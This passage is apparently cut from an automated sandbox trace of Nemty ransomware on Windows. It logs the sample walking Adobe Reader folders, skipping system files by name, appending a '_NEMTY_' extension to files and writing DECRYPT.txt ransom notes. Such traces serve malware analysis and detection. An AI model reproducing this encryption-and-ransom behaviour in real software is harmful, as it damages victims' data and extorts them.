hFile=0x3b0, lDistanceToMove=50701, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xc60d [0172.914] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.915] CloseHandle (hObject=0x3b0) returned 1 [0172.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0172.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.915] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0172.915] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.915] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\ITA\\license.html._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\ita\\license.html._nemty_kgobjgd_")) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.915] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0172.915] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab08a70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ab08a70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ab2ebd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.916] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0172.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.916] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.916] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0172.916] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.917] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.917] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0172.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0172.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.917] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ab08a70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1ab08a70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ab2ebd0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0172.917] FindClose (in: hFindFile=0x3423ab0 | out: hFindFile=0x3423ab0) returned 1 [0172.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.917] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94178 | out: hHeap=0x4f90000) returned 1 [0172.917] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81dce140, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="JPN", cAlternateFileName="")) returned 1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2=".") returned 1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="..") returned 1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="...") returned 1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="windows") returned -1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="$RECYCLE.BIN") returned 1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="rsa") returned -1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="NTDETECT.COM") returned -1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="ntldr") returned -1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="MSDOS.SYS") returned -1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="IO.SYS") returned 1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="boot.ini") returned 1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="boot.ini") returned 1 [0172.917] lstrcmpiW (lpString1="JPN", lpString2="AUTOEXEC.BAT") returned 1 [0172.918] lstrcmpiW (lpString1="JPN", lpString2="ntuser.dat") returned -1 [0172.918] lstrcmpiW (lpString1="JPN", lpString2="desktop.ini") returned 1 [0172.918] lstrcmpiW (lpString1="JPN", lpString2="CONFIG.SYS") returned 1 [0172.918] lstrcmpiW (lpString1="JPN", lpString2="RECYCLER") returned -1 [0172.918] lstrcmpiW (lpString1="JPN", lpString2="BOOTSECT.BAK") returned 1 [0172.918] lstrcmpiW (lpString1="JPN", lpString2="bootmgr") returned 1 [0172.918] lstrcmpiW (lpString1="JPN", lpString2="programdata") returned -1 [0172.918] lstrcmpiW (lpString1="JPN", lpString2="appdata") returned 1 [0172.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JPN", lpUsedDefaultChar=0x0) returned 3 [0172.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0172.918] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JPN", cchWideChar=3, lpMultiByteStr=0x653ebd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JPN", lpUsedDefaultChar=0x0) returned 3 [0172.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94178 [0172.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0172.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.918] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0172.918] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0172.918] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.919] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0172.919] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.919] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0172.920] CloseHandle (hObject=0x254) returned 1 [0172.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.920] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0172.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0172.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0172.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.920] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0172.920] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.921] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0172.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.921] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0172.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0172.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0172.921] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0172.921] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.922] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0172.922] CloseHandle (hObject=0x254) returned 1 [0172.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0172.922] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.922] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0172.922] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ab54d30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ab54d30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0172.923] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0172.923] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81dce140, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1ab54d30, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1ab54d30, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0172.923] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0172.923] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0172.923] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x298, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2=".") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="..") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="...") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="windows") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="$RECYCLE.BIN") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="rsa") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="NTDETECT.COM") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="ntldr") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="MSDOS.SYS") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="IO.SYS") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="boot.ini") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="AUTOEXEC.BAT") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="ntuser.dat") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="desktop.ini") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="CONFIG.SYS") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="RECYCLER") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="BOOTSECT.BAK") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="bootmgr") returned 1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="programdata") returned -1 [0172.923] lstrcmpiW (lpString1="eula.ini", lpString2="appdata") returned 1 [0172.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.923] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.923] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eula.ini", lpUsedDefaultChar=0x0) returned 8 [0172.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.924] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.924] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0172.924] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eula.ini", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 